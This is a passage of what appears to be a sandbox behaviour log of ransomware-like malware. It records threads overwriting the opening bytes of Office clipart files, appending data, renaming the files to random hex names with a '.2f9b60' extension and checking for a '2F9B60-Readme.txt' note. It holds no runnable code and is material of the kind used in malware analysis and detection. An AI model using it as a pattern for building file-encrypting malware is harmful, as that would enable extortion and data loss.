IoStatusBlock=0x2d22fb10, FileInformation=0x20279130, Length=0xac, FileInformationClass=0xa) returned 0x0 [0109.626] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279130) returned 1 [0109.626] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20291230) returned 1 [0109.626] NtQueryInformationFile (in: FileHandle=0x1598, IoStatusBlock=0x2d22fad8, FileInformation=0x2d22fae8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2d22fad8, FileInformation=0x2d22fae8) returned 0x0 [0109.626] NtSetInformationFile (FileHandle=0x1598, IoStatusBlock=0x2d22fad8, FileInformation=0x2d22fae8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.641] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffff0) returned 1 [0109.641] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5d30) returned 1 [0109.641] FlushFileBuffers (hFile=0x1598) returned 1 [0109.659] CloseHandle (hObject=0x1598) returned 1 [0109.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7ada20 [0109.667] wcscpy (in: _Dest=0x1b7ada20, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.667] wcscat (in: _Dest=0x1b7ada20, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ada20) returned 1 [0109.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4cb10) returned 1 Thread: id = 724 os_tid = 0x1234 [0096.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf")) returned 0x20 [0106.584] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF", dwFileAttributes=0x20) returned 1 [0106.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15c8 [0106.626] GetFileSizeEx (in: hFile=0x15c8, lpFileSize=0x2d2dfc80 | out: lpFileSize=0x2d2dfc80*=24778) returned 1 [0106.626] SetFilePointerEx (in: hFile=0x15c8, liDistanceToMove=0x60c6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.626] ReadFile (in: hFile=0x15c8, lpBuffer=0x2d2dfc00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d2dfc48, lpOverlapped=0x0 | out: lpBuffer=0x2d2dfc00*, lpNumberOfBytesRead=0x2d2dfc48*=0x4, lpOverlapped=0x0) returned 1 [0106.632] SetFilePointerEx (in: hFile=0x15c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7320 [0106.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7fb0 [0106.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced83d0 [0106.633] NtQuerySystemTime (in: CurrentTime=0x2d2dfb40 | out: CurrentTime=0x2d2dfb40*=132462177121246000) returned 0x0 [0106.633] RtlRandomEx (in: Seed=0x2d2dfb30 | out: Seed=0x2d2dfb30) returned 0x4217a401 [0106.634] RtlRandomEx (in: Seed=0x2d2dfb30 | out: Seed=0x2d2dfb30) returned 0x3e93dc41 [0106.634] RtlRandomEx (in: Seed=0x2d2dfb30 | out: Seed=0x2d2dfb30) returned 0x3e7ae9fb [0106.634] RtlRandomEx (in: Seed=0x2d2dfb30 | out: Seed=0x2d2dfb30) returned 0x4b52aeab [0106.634] RtlRandomEx (in: Seed=0x2d2dfb30 | out: Seed=0x2d2dfb30) returned 0x4ef6beff [0106.634] RtlRandomEx (in: Seed=0x2d2dfb30 | out: Seed=0x2d2dfb30) returned 0x265b5f9 [0106.634] RtlRandomEx (in: Seed=0x2d2dfb30 | out: Seed=0x2d2dfb30) returned 0x12b2a1d2 [0106.634] RtlRandomEx (in: Seed=0x2d2dfb30 | out: Seed=0x2d2dfb30) returned 0x738d392c [0106.634] RtlRandomEx (in: Seed=0x2d2dfb30 | out: Seed=0x2d2dfb30) returned 0x657c2b5b [0106.634] RtlRandomEx (in: Seed=0x2d2dfb30 | out: Seed=0x2d2dfb30) returned 0x4210b214 [0106.634] RtlRandomEx (in: Seed=0x2d2dfb30 | out: Seed=0x2d2dfb30) returned 0x4c822a61 [0106.634] RtlRandomEx (in: Seed=0x2d2dfb30 | out: Seed=0x2d2dfb30) returned 0x43f33ac1 [0106.634] RtlRandomEx (in: Seed=0x2d2dfb30 | out: Seed=0x2d2dfb30) returned 0x70de7bae [0106.634] RtlRandomEx (in: Seed=0x2d2dfb30 | out: Seed=0x2d2dfb30) returned 0x2703dbc0 [0106.634] RtlRandomEx (in: Seed=0x2d2dfb30 | out: Seed=0x2d2dfb30) returned 0x41fa3ce2 [0106.634] RtlRandomEx (in: Seed=0x2d2dfb30 | out: Seed=0x2d2dfb30) returned 0x26b6ae92 [0106.634] RtlRandomEx (in: Seed=0x2d2dfb30 | out: Seed=0x2d2dfb30) returned 0x16c1311b [0106.634] RtlRandomEx (in: Seed=0x2d2dfb30 | out: Seed=0x2d2dfb30) returned 0x1653cdf8 [0106.634] RtlRandomEx (in: Seed=0x2d2dfb30 | out: Seed=0x2d2dfb30) returned 0x55b0c8b6 [0106.634] RtlRandomEx (in: Seed=0x2d2dfb30 | out: Seed=0x2d2dfb30) returned 0x33577b05 [0106.634] RtlRandomEx (in: Seed=0x2d2dfb30 | out: Seed=0x2d2dfb30) returned 0x28aab6a9 [0106.634] RtlRandomEx (in: Seed=0x2d2dfb30 | out: Seed=0x2d2dfb30) returned 0x303b2aa8 [0106.634] RtlRandomEx (in: Seed=0x2d2dfb30 | out: Seed=0x2d2dfb30) returned 0x2f709efd [0106.635] RtlRandomEx (in: Seed=0x2d2dfb30 | out: Seed=0x2d2dfb30) returned 0x733ba5c3 [0106.635] RtlRandomEx (in: Seed=0x2d2dfb30 | out: Seed=0x2d2dfb30) returned 0x4b5eb20a [0106.635] RtlRandomEx (in: Seed=0x2d2dfb30 | out: Seed=0x2d2dfb30) returned 0x5a8a63db [0106.635] RtlRandomEx (in: Seed=0x2d2dfb30 | out: Seed=0x2d2dfb30) returned 0x3f3b726e [0106.635] RtlRandomEx (in: Seed=0x2d2dfb30 | out: Seed=0x2d2dfb30) returned 0x6011fa9b [0106.635] RtlRandomEx (in: Seed=0x2d2dfb30 | out: Seed=0x2d2dfb30) returned 0x4727b97a [0106.635] RtlRandomEx (in: Seed=0x2d2dfb30 | out: Seed=0x2d2dfb30) returned 0xb3c19e0 [0106.635] RtlRandomEx (in: Seed=0x2d2dfb30 | out: Seed=0x2d2dfb30) returned 0x43ce566e [0106.635] RtlRandomEx (in: Seed=0x2d2dfb30 | out: Seed=0x2d2dfb30) returned 0x70701f28 [0106.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced77d0 [0106.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ac0 [0106.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7740 [0106.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ac0) returned 1 [0106.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced83d0) returned 1 [0106.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7320) returned 1 [0106.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41ebd170 [0106.644] SetFilePointerEx (in: hFile=0x15c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.644] ReadFile (in: hFile=0x15c8, lpBuffer=0x41ebd170, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2d2dfba0, lpOverlapped=0x0 | out: lpBuffer=0x41ebd170*, lpNumberOfBytesRead=0x2d2dfba0*=0x3c00, lpOverlapped=0x0) returned 1 [0106.656] SetFilePointerEx (in: hFile=0x15c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0106.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ac0 [0106.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7950 [0106.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7950) returned 1 [0106.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41ec0d80 [0106.659] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7950 [0106.659] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced84c0 [0106.659] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced84c0) returned 1 [0106.659] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ac0) returned 1 [0106.659] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0106.659] WriteFile (in: hFile=0x15c8, lpBuffer=0x41ec0d80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2d2dfba0, lpOverlapped=0x0 | out: lpBuffer=0x41ec0d80*, lpNumberOfBytesWritten=0x2d2dfba0*=0x3c00, lpOverlapped=0x0) returned 1 [0106.688] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ec0d80) returned 1 [0106.688] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ebd170) returned 1 [0106.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced7b30 [0106.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0106.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ac0 [0106.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8370 [0106.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8370) returned 1 [0106.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced8370 [0106.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7e60 [0106.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0106.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced76b0) returned 1 [0106.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ac0) returned 1 [0106.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0106.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x167dc0 [0106.689] SetFilePointerEx (in: hFile=0x15c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0106.690] WriteFile (in: hFile=0x15c8, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2d2dfc50, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x2d2dfc50*=0x10a, lpOverlapped=0x0) returned 1 [0106.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0106.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ac0 [0106.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7d40 [0106.709] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7d40) returned 1 [0106.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0106.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7d40 [0106.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7260 [0106.709] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7260) returned 1 [0106.709] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ac0) returned 1 [0106.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0106.710] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0106.710] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="f5") returned 2 [0106.710] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="1d") returned 2 [0106.710] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="7c") returned 2 [0106.710] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="94") returned 2 [0106.710] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="98") returned 2 [0106.710] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="8f") returned 2 [0106.710] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="92") returned 2 [0106.710] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="4a") returned 2 [0106.710] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="de") returned 2 [0106.710] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="e9") returned 2 [0106.710] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="d0") returned 2 [0106.710] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="22") returned 2 [0106.710] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="dd") returned 2 [0106.710] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="c6") returned 2 [0106.710] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="de") returned 2 [0106.710] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="7d") returned 2 [0106.710] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="77") returned 2 [0106.710] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="a2") returned 2 [0106.711] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="89") returned 2 [0106.711] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="b9") returned 2 [0106.711] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="38") returned 2 [0106.711] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="88") returned 2 [0106.711] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="b3") returned 2 [0106.711] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="a7") returned 2 [0106.711] RtlInitAnsiString (in: DestinationString=0x2d2dfcc8, SourceString="f51d7c94988f924adee9d022ddc6de7d77a289b93888b3a7" | out: DestinationString="f51d7c94988f924adee9d022ddc6de7d77a289b93888b3a7") [0106.711] RtlAnsiStringToUnicodeString (in: DestinationString=0x2d2dfc98, SourceString="f51d7c94988f924adee9d022ddc6de7d77a289b93888b3a7", AllocateDestinationString=1 | out: DestinationString="f51d7c94988f924adee9d022ddc6de7d77a289b93888b3a7") returned 0x0 [0106.711] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced5be0 [0106.711] RtlFreeAnsiString (AnsiString="f") [0106.711] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f630) returned 1 [0106.711] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d000) returned 1 [0106.711] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7d40) returned 1 [0106.711] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167dc0) returned 1 [0106.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8370) returned 1 [0106.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7e60) returned 1 [0106.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7b30) returned 1 [0106.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7950) returned 1 [0106.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7fb0) returned 1 [0106.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced77d0) returned 1 [0106.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7740) returned 1 [0106.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x204ff7d0 [0106.712] wcscat (in: _Dest=0x204ff7d0, _Source="f51d7c94988f" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f51d7c94988f") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f51d7c94988f" [0106.712] wcscat (in: _Dest=0x204ff7d0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f51d7c94988f.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f51d7c94988f.2f9b60" [0106.712] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f51d7c94988f.2f9b60", NtPathName=0x2d2dfc70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f51d7c94988f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0106.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x202788f0 [0106.712] NtSetInformationFile (FileHandle=0x15c8, IoStatusBlock=0x2d2dfd10, FileInformation=0x202788f0, Length=0xac, FileInformationClass=0xa) returned 0x0 [0109.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202788f0) returned 1 [0109.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20291460) returned 1 [0109.795] NtQueryInformationFile (in: FileHandle=0x15c8, IoStatusBlock=0x2d2dfcd8, FileInformation=0x2d2dfce8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2d2dfcd8, FileInformation=0x2d2dfce8) returned 0x0 [0109.795] NtSetInformationFile (FileHandle=0x15c8, IoStatusBlock=0x2d2dfcd8, FileInformation=0x2d2dfce8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.806] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff7d0) returned 1 [0109.806] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5be0) returned 1 [0109.806] FlushFileBuffers (hFile=0x15c8) returned 1 [0109.811] CloseHandle (hObject=0x15c8) returned 1 [0109.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205cfb0 [0109.812] wcscpy (in: _Dest=0x4205cfb0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.812] wcscat (in: _Dest=0x4205cfb0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cfb0) returned 1 [0109.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4cba0) returned 1 Thread: id = 725 os_tid = 0x1238 [0096.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf")) returned 0x20 [0106.688] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF", dwFileAttributes=0x20) returned 1 [0106.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1594 [0106.713] GetFileSizeEx (in: hFile=0x1594, lpFileSize=0x2cf1fae0 | out: lpFileSize=0x2cf1fae0*=47996) returned 1 [0106.713] SetFilePointerEx (in: hFile=0x1594, liDistanceToMove=0xbb78, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.713] ReadFile (in: hFile=0x1594, lpBuffer=0x2cf1fa60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2cf1faa8, lpOverlapped=0x0 | out: lpBuffer=0x2cf1fa60*, lpNumberOfBytesRead=0x2cf1faa8*=0x4, lpOverlapped=0x0) returned 1 [0106.723] SetFilePointerEx (in: hFile=0x1594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7b30 [0106.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7e60 [0106.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8370 [0106.723] NtQuerySystemTime (in: CurrentTime=0x2cf1f9a0 | out: CurrentTime=0x2cf1f9a0*=132462177122182000) returned 0x0 [0106.724] RtlRandomEx (in: Seed=0x2cf1f990 | out: Seed=0x2cf1f990) returned 0x79bf84a9 [0106.724] RtlRandomEx (in: Seed=0x2cf1f990 | out: Seed=0x2cf1f990) returned 0x6428f629 [0106.724] RtlRandomEx (in: Seed=0x2cf1f990 | out: Seed=0x2cf1f990) returned 0x2064dfa0 [0106.724] RtlRandomEx (in: Seed=0x2cf1f990 | out: Seed=0x2cf1f990) returned 0x724a3811 [0106.724] RtlRandomEx (in: Seed=0x2cf1f990 | out: Seed=0x2cf1f990) returned 0x7126e428 [0106.724] RtlRandomEx (in: Seed=0x2cf1f990 | out: Seed=0x2cf1f990) returned 0xd82aa58 [0106.724] RtlRandomEx (in: Seed=0x2cf1f990 | out: Seed=0x2cf1f990) returned 0x5e9505f3 [0106.724] RtlRandomEx (in: Seed=0x2cf1f990 | out: Seed=0x2cf1f990) returned 0x3dc16529 [0106.724] RtlRandomEx (in: Seed=0x2cf1f990 | out: Seed=0x2cf1f990) returned 0xa79a943 [0106.724] RtlRandomEx (in: Seed=0x2cf1f990 | out: Seed=0x2cf1f990) returned 0x417046b4 [0106.724] RtlRandomEx (in: Seed=0x2cf1f990 | out: Seed=0x2cf1f990) returned 0xb512ab [0106.724] RtlRandomEx (in: Seed=0x2cf1f990 | out: Seed=0x2cf1f990) returned 0x3f2812a6 [0106.724] RtlRandomEx (in: Seed=0x2cf1f990 | out: Seed=0x2cf1f990) returned 0x661b0712 [0106.724] RtlRandomEx (in: Seed=0x2cf1f990 | out: Seed=0x2cf1f990) returned 0x10785a6 [0106.724] RtlRandomEx (in: Seed=0x2cf1f990 | out: Seed=0x2cf1f990) returned 0x14ddcb1d [0106.724] RtlRandomEx (in: Seed=0x2cf1f990 | out: Seed=0x2cf1f990) returned 0xab6a99e [0106.724] RtlRandomEx (in: Seed=0x2cf1f990 | out: Seed=0x2cf1f990) returned 0x3c91b341 [0106.724] RtlRandomEx (in: Seed=0x2cf1f990 | out: Seed=0x2cf1f990) returned 0x253b77e3 [0106.724] RtlRandomEx (in: Seed=0x2cf1f990 | out: Seed=0x2cf1f990) returned 0x39e366f8 [0106.724] RtlRandomEx (in: Seed=0x2cf1f990 | out: Seed=0x2cf1f990) returned 0x4d101f5e [0106.725] RtlRandomEx (in: Seed=0x2cf1f990 | out: Seed=0x2cf1f990) returned 0x7eae9511 [0106.725] RtlRandomEx (in: Seed=0x2cf1f990 | out: Seed=0x2cf1f990) returned 0x17012384 [0106.725] RtlRandomEx (in: Seed=0x2cf1f990 | out: Seed=0x2cf1f990) returned 0x18ee79a1 [0106.725] RtlRandomEx (in: Seed=0x2cf1f990 | out: Seed=0x2cf1f990) returned 0x297b512b [0106.725] RtlRandomEx (in: Seed=0x2cf1f990 | out: Seed=0x2cf1f990) returned 0x3ababb52 [0106.725] RtlRandomEx (in: Seed=0x2cf1f990 | out: Seed=0x2cf1f990) returned 0x3ebc60d0 [0106.725] RtlRandomEx (in: Seed=0x2cf1f990 | out: Seed=0x2cf1f990) returned 0x204318e4 [0106.725] RtlRandomEx (in: Seed=0x2cf1f990 | out: Seed=0x2cf1f990) returned 0x1fdd4ed5 [0106.725] RtlRandomEx (in: Seed=0x2cf1f990 | out: Seed=0x2cf1f990) returned 0x3d591f69 [0106.725] RtlRandomEx (in: Seed=0x2cf1f990 | out: Seed=0x2cf1f990) returned 0x22bbbb49 [0106.725] RtlRandomEx (in: Seed=0x2cf1f990 | out: Seed=0x2cf1f990) returned 0x24bb0d36 [0106.725] RtlRandomEx (in: Seed=0x2cf1f990 | out: Seed=0x2cf1f990) returned 0x281b0d33 [0106.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7d40 [0106.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ac0 [0106.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7260 [0106.737] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ac0) returned 1 [0106.737] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8370) returned 1 [0106.737] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7b30) returned 1 [0106.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41ebd170 [0106.738] SetFilePointerEx (in: hFile=0x1594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.738] ReadFile (in: hFile=0x1594, lpBuffer=0x41ebd170, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2cf1fa00, lpOverlapped=0x0 | out: lpBuffer=0x41ebd170*, lpNumberOfBytesRead=0x2cf1fa00*=0x3c00, lpOverlapped=0x0) returned 1 [0106.769] SetFilePointerEx (in: hFile=0x1594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f30 [0106.770] RtlAllocateHeap 